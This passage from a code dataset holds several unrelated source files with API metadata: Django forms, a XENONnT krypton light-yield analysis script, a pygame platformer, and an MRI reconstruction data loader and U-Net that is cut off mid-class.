"matplotlib.pyplot.grid", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 93, "usage_type": "call"}, {"api_name": "scipy.stats.variation", "line_number": 94, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 94, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 105, "usage_type": "call"}, {"api_name": "sklearn.cluster", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}]} {"seq_id": "493416128", "text": "from django import forms\nfrom django.contrib.auth.forms import AuthenticationForm\n\nfrom .models import User\n\n\nclass LoginForm(AuthenticationForm):\n\n def __init__(self, *args, **kwargs):\n super(LoginForm, self).__init__(*args, **kwargs)\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'form-control'\n field.widget.attrs['placeholder'] = field_name\n\n\nclass ProfileEditForm(forms.ModelForm):\n birthday = forms.DateField(\n widget=forms.DateInput(format=\"%m/%d/%Y\",\n attrs={'placeholder': 'MM/DD/YYYY', 'class': 'form-control date-input'}),\n required=False\n )\n\n class Meta:\n model = User\n fields = (\n 'first_name', 'last_name',\n 'handicap', 'birthday', 'location', 'years_of_experience', 'creation_time', 'photo',\n )\n\n def __init__(self, *args, **kwargs):\n super(ProfileEditForm, self).__init__(*args, **kwargs)\n for field_name, field in self.fields.items():\n field.widget.attrs['class'] = 'form-control'\n\n self.fields['first_name'].required = self.fields['last_name'].required = True\n self.fields['birthday'].widget.attrs['class'] = 'form-control date-input'\n", "sub_path": "apps/profiles/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1262, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.auth.forms.AuthenticationForm", "line_number": 7, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 16, "usage_type": "name"}, {"api_name": "django.forms.DateField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 17, "usage_type": "name"}, {"api_name": "django.forms.DateInput", "line_number": 18, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 18, "usage_type": "name"}, {"api_name": "models.User", "line_number": 24, "usage_type": "name"}]} {"seq_id": "297062305", "text": "import strax\nimport straxen\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom argparse import ArgumentParser\nimport argparse\nimport cutax\nfrom cutax.cuts.krypton_selections import KrSingleS1S2\nfrom cutax.cuts.krypton_selections import KrDoubleS1SingleS2\nimport sys\nsys.path +=['../../../utils/']\n\nimport xomlib\n\n\ndef press_run(run_id):\n \n# st = cutax.contexts.xenonnt_offline(include_rucio_local=False,include_rucio_remote=True )\n st = cutax.xenonnt_online(_rucio_local_path='/project/lgrandi/rucio', include_rucio_local = True)\n st.storage +=[strax.DataDirectory('/project2/lgrandi/xenonnt/processed', provide_run_metadata=True)]\n# st = cutax.xenonnt_online(output_folder = \"/home/gaior/codes/test/.\", _rucio_local_path='/project/lgrandi/rucio', include_rucio_local = True)\n st.register([KrSingleS1S2,KrDoubleS1SingleS2])\n# st.storage += [strax.DataDirectory('/project2/lgrandi/xenonnt/processed', provide_run_metadata=True)]\n data_singleS1 = st.get_df(run_id, targets =(\"event_info_double\", \"cut_fiducial_volume\", \"cut_Kr_SingleS1S2\"),\n selection_str= (\"cut_fiducial_volume\",'cut_Kr_SingleS1S2')) \n data_doubleS1 = st.get_df(run_id, targets =(\"event_info_double\", \"cut_fiducial_volume\", \"cut_Kr_DoubleS1_SingleS2\"),\n selection_str= (\"cut_fiducial_volume\",'cut_Kr_DoubleS1_SingleS2'))\n \n \n \n \n ES1a = 32.2\n ES1b = 9.4\n\n #energie du pic\n ES1 = 41.6\n\n \n #Light Yield\n\n S1_a1 = data_doubleS1['s1_a_area'].values\n S1_b1 = data_doubleS1['s1_b_area'].values\n S1_a = data_singleS1['s1_a_area'].values\n \n \n #mean\n S1amoy = np.mean(S1_a1)\n S1bmoy = np.mean(S1_b1)\n S1_41 = np.mean(S1_a)\n \n #standard deviation\n S1asigma = np.std(S1_a1)\n S1bsigma = np.std(S1_b1)\n S1_41sigma = np.std(S1_a)\n \n \n #standard error of mean\n errorS1amoy = S1asigma/np.sqrt(len(S1_a1))\n errorS1bmoy = S1bsigma/np.sqrt(len(S1_b1))\n errorS1_41moy = S1_41sigma/np.sqrt(len(S1_a))\n\n #light yield \n LYS1a = S1amoy/ES1a\n LYS1b = S1bmoy/ES1b\n LYS1_41 = S1_41/ES1 \n\n #light yield error\n DLyS1a = errorS1amoy/ES1a \n DLyS1b = errorS1bmoy/ES1b \n DLyS1_41 = errorS1_41moy/ES1\n \n #removing useless datas\n del data_doubleS1\n del data_singleS1\n del S1_a1\n del S1_b1\n del S1_a\n \n\n\n xomresult = xomlib.Xomresult(analysis_name=\"light_yield\",\n analysis_version = \"v0.0\",\n variable_name='LYS1_41',\n variable_value=LYS1_41,\n runid=int(run_id),\n data= {\"LYS1a\":LYS1a, \"DLYS1a\":DLyS1a, \n \"LYS1b\":LYS1b, \"DLYS1b\":DLyS1b, \n \"LYS1_41\":LYS1_41, \"DLYS1_41\":DLyS1_41})\n xomresult.save()\n xomresult.xom_message(success=True)\n \n # results = []\n \n # results.append(run_id)\n # results.append(LYS1a)\n # results.append(DLyS1a)\n # results.append(LYS1b)\n # results.append(DLyS1b)\n # results.append(LYS1_41)\n # results.append(DLyS1_41)\n \n # np.save('/home/pellegriniq/tab22', results)\n\ndef main():\n \n parser = argparse.ArgumentParser()\n parser.add_argument(\"echo\")\n args = parser.parse_args()\n print(args.echo)\n print(\"start\")\n \n press_run(args.echo)\n print('end')\n \nif __name__ == \"__main__\":\n main()\n", "sub_path": "backend/algorithms/ly_qp/light_yield.py", "file_name": "light_yield.py", "file_ext": "py", "file_size_in_byte": 3613, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cutax.xenonnt_online", "line_number": 20, "usage_type": "call"}, {"api_name": "strax.DataDirectory", "line_number": 21, "usage_type": "call"}, {"api_name": "cutax.cuts.krypton_selections.KrSingleS1S2", "line_number": 23, "usage_type": "name"}, {"api_name": "cutax.cuts.krypton_selections.KrDoubleS1SingleS2", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 61, "usage_type": "call"}, {"api_name": "xomlib.Xomresult", "line_number": 82, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 107, "usage_type": "call"}]} {"seq_id": "199679054", "text": "import pygame\r\nimport random\r\nimport time\r\n\r\n\r\nclass Window:\r\n def __init__(self, win_width, win_height, win_caption):\r\n self.win_width = win_width\r\n self.win_height = win_height\r\n self.win_caption = win_caption\r\n self.window = pygame.display.set_mode((self.win_width, self.win_height))\r\n pygame.display.set_caption(self.win_caption)\r\n\r\n def fill(self):\r\n self.window.fill((0, 0, 0))\r\n\r\n\r\nclass Player:\r\n def __init__(self, colour_r, colour_g, colour_b, left_walk, right_walk, left_jump, right_jump, idle):\r\n self.colour_r = colour_r\r\n self.colour_g = colour_g\r\n self.colour_b = colour_b\r\n self.left = False\r\n self.right = False\r\n self.walk_count = 0\r\n self.left_walk = left_walk\r\n self.right_walk = right_walk\r\n self.left_jump = left_jump\r\n self.right_jump = right_jump\r\n self.idle = idle\r\n\r\n def draw(self, win_, x_rect, y_rect, char_jump):\r\n if self.walk_count + 1 >= 18:\r\n self.walk_count = 0\r\n if self.left is True and char_jump is False:\r\n win_.blit(self.left_walk[self.walk_count // 3], (x_rect, y_rect))\r\n self.walk_count += 1\r\n elif self.right is True and char_jump is False:\r\n win_.blit(self.right_walk[self.walk_count // 3], (x_rect, y_rect))\r\n self.walk_count += 1\r\n elif self.left is True and char_jump is True:\r\n win_.blit(self.left_jump, (x_rect, y_rect))\r\n self.walk_count += 1\r\n elif self.right is True and char_jump is True:\r\n win_.blit(self.right_jump, (x_rect, y_rect))\r\n self.walk_count += 1\r\n else:\r\n win_.blit(self.idle, (x_rect, y_rect))\r\n\r\n\r\nclass Platform:\r\n def __init__(self, colour_r, colour_g, colour_b, x_plat, y_plat, w_plat, h_plat):\r\n self.colour_r = colour_r\r\n self.colour_g = colour_g\r\n self.colour_b = colour_b\r\n self.x_plat = x_plat\r\n self.y_plat = y_plat\r\n self.w_plat = w_plat\r\n self.h_plat = h_plat\r\n\r\n def draw(self, win_plat):\r\n pygame.draw.rect(win_plat, (self.colour_r, self.colour_g, self.colour_b),\r\n (self.x_plat, self.y_plat, self.w_plat, self.h_plat))\r\n\r\n\r\ndef create_platforms(no_of_platforms, window_height):\r\n platforms = []\r\n step_plat = round((window_height - 100) / no_of_platforms)\r\n poss_heights = []\r\n for poss in range(0, no_of_platforms):\r\n poss_heights.append(step_plat * poss)\r\n heights = poss_heights\r\n print(heights)\r\n for platform in range(no_of_platforms):\r\n if len(heights) > 1:\r\n height_plat = heights[random.randint(0, len(heights)-1)]\r\n heights.remove(height_plat)\r\n else:\r\n height_plat = heights[0]\r\n platforms.append(Platform(0, 255, 0, random.randint(100, win.win_width-100),\r\n height_plat, random.randint(50, 100), 10))\r\n return platforms\r\n\r\n\r\nwalkRight = [pygame.image.load('adventurer-run-00-1.3.png'),\r\n pygame.image.load('adventurer-run-01-1.3.png'),\r\n pygame.image.load('adventurer-run-02-1.3.png'),\r\n pygame.image.load('adventurer-run-03-1.3.png'),\r\n pygame.image.load('adventurer-run-04-1.3.png'),\r\n pygame.image.load('adventurer-run-05-1.3.png')]\r\nwalkLeft = [pygame.image.load('adventurer-run-00-1.3 - Left.png'),\r\n pygame.image.load('adventurer-run-01-1.3 - Left.png'),\r\n pygame.image.load('adventurer-run-02-1.3 - Left.png'),\r\n pygame.image.load('adventurer-run-03-1.3 - Left.png'),\r\n pygame.image.load('adventurer-run-04-1.3 - Left.png'),\r\n pygame.image.load('adventurer-run-05-1.3 - Left.png')]\r\nchar = pygame.image.load('adventurer-idle-03-1.3.png')\r\njump = [pygame.image.load('adventurer-smrslt-00-1.3.png'),\r\n pygame.image.load('adventurer-smrslt-00-1.3 - Left.png')]\r\nbg = pygame.image.load('bg.png')\r\n\r\n\r\npygame.init()\r\nx = 250\r\ny = 400\r\nwidth = 50\r\nheight = 37\r\nvelocity = 15\r\njump_count = 10\r\nrun = True\r\nis_jump = False\r\nis_crouch = False\r\ncrouch_count = 0\r\nrect_y = y\r\ny_plats = [500, 400, 300, 200, 100]\r\nis_land = True\r\ndown = False\r\non_platform = False\r\nclock = pygame.time.Clock()\r\n\r\nwin = Window(1000, 500, \"Escape The Cave!\")\r\nplayer = Player(255, 0, 0, left_walk=walkLeft, right_walk=walkRight, left_jump=jump[1], right_jump=jump[0], idle=char)\r\nmain_platform = Platform(255, 0, 0, 0, rect_y + height, win.win_width, 10)\r\nrand_plats = create_platforms(12, 500)\r\njumped = False\r\ny_s = []\r\ndifficulty = 2\r\ncount = 500\r\nc = 1\r\nwhile run:\r\n clock.tick(27)\r\n y_s.append(y)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n y_in_game = y\r\n height_in_game = height\r\n keys = pygame.key.get_pressed()\r\n if not is_jump:\r\n is_land = True\r\n y_in_game = y\r\n if keys[pygame.K_LEFT]:\r\n x -= velocity\r\n player.left = True\r\n player.right = False\r\n elif keys[pygame.K_RIGHT]:\r\n x += velocity\r\n player.left = False\r\n player.right = True\r\n else:\r\n player.left = False\r\n player.right = False\r\n if keys[pygame.K_UP]:\r\n is_jump = True\r\n jumped = True\r\n if player.left is False and player.right is False:\r\n player.walk_count = 0\r\n elif is_jump is True:\r\n is_land = False\r\n if jump_count >= -10:\r\n neg = 1\r\n if jump_count < 0:\r\n neg = -1\r\n y -= (jump_count ** 2) * 0.5 * neg\r\n y_in_game = y\r\n on_platform = False\r\n jump_count -= 1\r\n else:\r\n down = False\r\n is_jump = False\r\n jump_count = 10\r\n if keys[pygame.K_LEFT]:\r\n x -= velocity\r\n player.left = True\r\n player.right = False\r\n elif keys[pygame.K_RIGHT]:\r\n x += velocity\r\n player.left = False\r\n player.right = True\r\n if len(y_s) >= 2:\r\n if on_platform is False and jumped is True:\r\n if y_s[-1] > y_s[-2]:\r\n down = True\r\n for random_platform in range(0, len(rand_plats)):\r\n plat_x = rand_plats[random_platform].x_plat\r\n plat_y = rand_plats[random_platform].y_plat\r\n plat_width = rand_plats[random_platform].w_plat\r\n list_of_plat_x = list(range(plat_x, (plat_x + plat_width)))\r\n for xes in range(len(list_of_plat_x)):\r\n if x + width / 2 == list_of_plat_x[xes] and plat_y - 65 < y <= plat_y - 10:\r\n if down is True:\r\n # print(f\"Platform X: {rand_plats[random_platform].x_plat} | Platform Y: \"\r\n # f\"{rand_plats[random_platform].y_plat} | Character X, Y: {x}, {y}\")\r\n y = plat_y\r\n jump_count = -11\r\n down = False\r\n is_jump = False\r\n on_platform = True\r\n plat_idx = random_platform\r\n if on_platform is True:\r\n y = rand_plats[plat_idx].y_plat - height\r\n list_of_plat_x = list(range(rand_plats[plat_idx].x_plat,\r\n rand_plats[plat_idx].x_plat + rand_plats[plat_idx].w_plat))\r\n if x + width / 2 not in list_of_plat_x:\r\n jump_count = 0\r\n is_jump = False\r\n down = True\r\n on_platform = False\r\n if on_platform is False and jumped is True:\r\n if is_jump is False:\r\n y -= (2 ** 2) * 0.5 * -8\r\n win.window.blit(bg, (0, 0))\r\n y_in_game = y\r\n player.draw(win_=win.window, x_rect=x, y_rect=y_in_game, char_jump=is_jump)\r\n if jumped is False:\r\n main_platform.draw(win_plat=win.window)\r\n if c % count == 0:\r\n difficulty += 1\r\n for plat in range(len(rand_plats)):\r\n if rand_plats[plat].y_plat < win.win_height:\r\n rand_plats[plat].y_plat += difficulty\r\n else:\r\n rand_plats[plat].y_plat = 0\r\n rand_plats[plat].x_plat = random.randint(100, win.win_width-100)\r\n rand_plats[plat].w_plat = random.randint(50, 100)\r\n rand_plats[plat].draw(win.window)\r\n pygame.display.update()\r\n if x <= 0 or x >= win.win_width:\r\n run = False\r\n if y >= win.win_height - height:\r\n run = False\r\n c += 1\r\n if difficulty > 5:\r\n run = False\r\n print(\"You win!\")\r\n print(f\"Difficulty: {difficulty - 1}\")\r\npygame.quit()\r\n", "sub_path": "escape_the_cave.py", "file_name": "escape_the_cave.py", "file_ext": "py", "file_size_in_byte": 8589, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.display.set_mode", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 62, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 62, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 76, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 80, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 81, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 85, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 85, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 86, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 87, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 87, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 88, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 89, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 90, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 90, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 92, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 93, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 95, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 96, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 97, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 97, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 98, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 99, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 100, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 119, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 133, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 134, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 138, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 138, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 142, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 146, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 153, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 172, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 176, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 224, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 225, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 227, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 227, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 237, "usage_type": "call"}]} {"seq_id": "23198276", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport h5py, os\n\nimport numpy as np\nfrom scipy.io import loadmat\nfrom matplotlib import pyplot as plt\n\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.nn import functional as F\nfrom torch.utils.data import DataLoader\n\n\n# ### transforms.py\n\n# In[2]:\n\n\ndef tensor_to_complex_np(data):\n\n data = data.numpy()\n return data[..., 0] + 1j * data[..., 1]\n\n\ndef to_tensor(data):\n\n if np.iscomplexobj(data):\n data = np.stack((data.real, data.imag), axis=-1)\n return torch.from_numpy(data)\n\n\ndef apply_mask(data, mask_func, seed=None):\n\n shape = np.array(data.shape)\n shape[:-3] = 1\n mask = mask_func(shape, seed)\n return torch.where(mask == 0, torch.Tensor([0]), data), mask\n\n\ndef fft2(data):\n\n assert data.size(-1) == 2\n data = ifftshift(data, dim=(-3, -2))\n data = torch.fft(data, 2, normalized=True)\n data = fftshift(data, dim=(-3, -2))\n return data\n\n\ndef ifft2(data):\n\n assert data.size(-1) == 2\n data = ifftshift(data, dim=(-3, -2))\n data = torch.ifft(data, 2, normalized=True)\n data = fftshift(data, dim=(-3, -2))\n return data\n\n\ndef complex_abs(data):\n\n assert data.size(-1) == 2\n return (data ** 2).sum(dim=-1).sqrt()\n\n\ndef root_sum_of_squares(data, dim=0):\n\n return torch.sqrt((data ** 2).sum(dim))\n\n\ndef center_crop(data, shape):\n\n assert 0 < shape[0] <= data.shape[-2]\n assert 0 < shape[1] <= data.shape[-1]\n w_from = (data.shape[-2] - shape[0]) // 2\n h_from = (data.shape[-1] - shape[1]) // 2\n w_to = w_from + shape[0]\n h_to = h_from + shape[1]\n return data[..., w_from:w_to, h_from:h_to]\n\n\ndef complex_center_crop(data, shape):\n\n assert 0 < shape[0] <= data.shape[-3]\n assert 0 < shape[1] <= data.shape[-2]\n w_from = (data.shape[-3] - shape[0]) // 2\n h_from = (data.shape[-2] - shape[1]) // 2\n w_to = w_from + shape[0]\n h_to = h_from + shape[1]\n return data[..., w_from:w_to, h_from:h_to, :]\n\n\ndef normalize(data, mean, stddev, eps=0.):\n\n return (data - mean) / (stddev + eps)\n\n\ndef normalize_instance(data, eps=0.):\n\n mean = data.mean()\n std = data.std()\n return normalize(data, mean, std, eps), mean, std\n \n\ndef roll(x, shift, dim):\n\n if isinstance(shift, (tuple, list)):\n assert len(shift) == len(dim)\n for s, d in zip(shift, dim):\n x = roll(x, s, d)\n return x\n shift = shift % x.size(dim)\n if shift == 0:\n return x\n left = x.narrow(dim, 0, x.size(dim) - shift)\n right = x.narrow(dim, x.size(dim) - shift, shift)\n return torch.cat((right, left), dim=dim)\n\n\ndef fftshift(x, dim=None):\n\n if dim is None:\n dim = tuple(range(x.dim()))\n shift = [dim // 2 for dim in x.shape]\n elif isinstance(dim, int):\n shift = x.shape[dim] // 2\n else:\n shift = [x.shape[i] // 2 for i in dim]\n return roll(x, shift, dim)\n\n\ndef ifftshift(x, dim=None):\n\n if dim is None:\n dim = tuple(range(x.dim()))\n shift = [(dim + 1) // 2 for dim in x.shape]\n elif isinstance(dim, int):\n shift = (x.shape[dim] + 1) // 2\n else:\n shift = [(x.shape[i] + 1) // 2 for i in dim]\n return roll(x, shift, dim)\n\n\n# ### subsample.py\n\n# In[3]:\n\n\nclass MaskFunc:\n\n def __init__(self, center_fractions, accelerations):\n \n if len(center_fractions) != len(accelerations):\n raise ValueError('Number of center fractions should match number of accelerations')\n\n self.center_fractions = center_fractions\n self.accelerations = accelerations\n self.rng = np.random.RandomState()\n\n def __call__(self, shape, seed=None):\n\n if len(shape) < 3:\n raise ValueError('Shape should have 3 or more dimensions')\n\n self.rng.seed(seed)\n num_cols = shape[-2]\n\n choice = self.rng.randint(0, len(self.accelerations))\n center_fraction = self.center_fractions[choice]\n acceleration = self.accelerations[choice]\n\n num_low_freqs = int(round(num_cols * center_fraction))\n prob = (num_cols / acceleration - num_low_freqs) / (num_cols - num_low_freqs)\n mask = self.rng.uniform(size=num_cols) < prob\n pad = (num_cols - num_low_freqs + 1) // 2\n mask[pad:pad + num_low_freqs] = True\n\n mask_shape = [1 for _ in shape]\n mask_shape[-2] = num_cols\n mask = torch.from_numpy(mask.reshape(*mask_shape).astype(np.float32))\n\n return mask\n\n\n# ### data_loader.py\n\n# In[4]:\n\n\ndef show_slices(data, slice_nums, cmap=None):\n fig = plt.figure(figsize=(15,10))\n for i, num in enumerate(slice_nums):\n plt.subplot(1, len(slice_nums), i + 1)\n plt.imshow(data[num], cmap=cmap)\n plt.axis('off')\n\n\n# In[5]:\n\n\ndef load_data_path(train_data_path, val_data_path):\n\n data_list = {}\n train_and_val = ['train', 'val']\n data_path = [train_data_path, val_data_path]\n \n for i in range(len(data_path)):\n data_list[train_and_val[i]] = [] \n which_data_path = data_path[i]\n \n for fname in sorted(os.listdir(which_data_path)):\n subject_data_path = os.path.join(which_data_path, fname)\n if not os.path.isfile(subject_data_path): continue\n \n with h5py.File(subject_data_path, 'r') as data:\n num_slice = data['kspace'].shape[0]\n \n data_list[train_and_val[i]] += [(fname, subject_data_path, slice) for slice in range(5, num_slice)]\n\n return data_list\n\n\n# In[6]:\n\n\nclass MRIDataset(DataLoader):\n\n def __init__(self, data_list, acceleration, center_fraction, use_seed):\n self.data_list = data_list\n self.acceleration = acceleration\n self.center_fraction = center_fraction\n self.use_seed = use_seed\n\n def __len__(self):\n return len(self.data_list) \n\n def __getitem__(self, idx):\n subject_id = self.data_list[idx]\n \n return get_epoch_batch(subject_id, self.acceleration, self.center_fraction, self.use_seed)\n\n\n# In[7]:\n\n\ndef get_epoch_batch(subject_id, acc, center_fract, use_seed=True):\n\n fname, rawdata_path, slice = subject_id\n \n with h5py.File(rawdata_path, 'r') as data:\n rawdata = data['kspace'][slice]\n \n slice_kspace = to_tensor(rawdata).unsqueeze(0)\n S, Ny, Nx, ps = slice_kspace.shape\n shape = np.array(slice_kspace.shape)\n\n mask_func = MaskFunc(center_fractions=[center_fract], accelerations=[acc])\n seed = None if not use_seed else tuple(map(ord, fname))\n mask = mask_func(shape, seed)\n \n masked_kspace = torch.where(mask == 0, torch.Tensor([0]), slice_kspace)\n masks = mask.repeat(S, Ny, 1, ps)\n\n img_gt, img_und = ifft2(slice_kspace), ifft2(masked_kspace) \n\n norm = complex_abs(img_und).max()\n if norm < 1e-6: norm = 1e-6\n img_gt, img_und, masked_kspace = img_gt/norm, img_und/norm, masked_kspace/norm \n\n img_und = complex_abs(img_und)\n img_gt = complex_abs(img_gt)\n \n img_und = img_und.unsqueeze(0)\n img_gt = img_gt.unsqueeze(0)\n \n img_und = center_crop(img_und, [320, 320])\n img_gt = center_crop(img_gt, [320, 320])\n \n return img_gt.squeeze(0), img_und.squeeze(0), masked_kspace.squeeze(0), masks.squeeze(0), norm\n\n\n# ### unet_model.py\n\n# In[8]:\n\n\nclass ConvBlock(nn.Module):\n\n def __init__(self, in_chans, out_chans, drop_prob):\n\n super().__init__()\n\n self.in_chans = in_chans\n self.out_chans = out_chans\n self.drop_prob = drop_prob\n\n self.layers = nn.Sequential(\n nn.Conv2d(in_chans, out_chans, kernel_size=3, padding=1),\n nn.InstanceNorm2d(out_chans),\n nn.ReLU(),\n nn.Dropout2d(drop_prob),\n nn.Conv2d(out_chans, out_chans, kernel_size=3, padding=1),\n nn.InstanceNorm2d(out_chans),\n nn.ReLU(),\n nn.Dropout2d(drop_prob)\n )\n\n def forward(self, input):\n\n return self.layers(input)\n\n def __repr__(self):\n return f'ConvBlock(in_chans={self.in_chans}, out_chans={self.out_chans}, ' f'drop_prob={self.drop_prob})'\n\n\nclass UnetModel(nn.Module):\n\n def __init__(self, in_chans, out_chans, chans, num_pool_layers, drop_prob):\n\n super().__init__()\n\n self.in_chans = in_chans\n 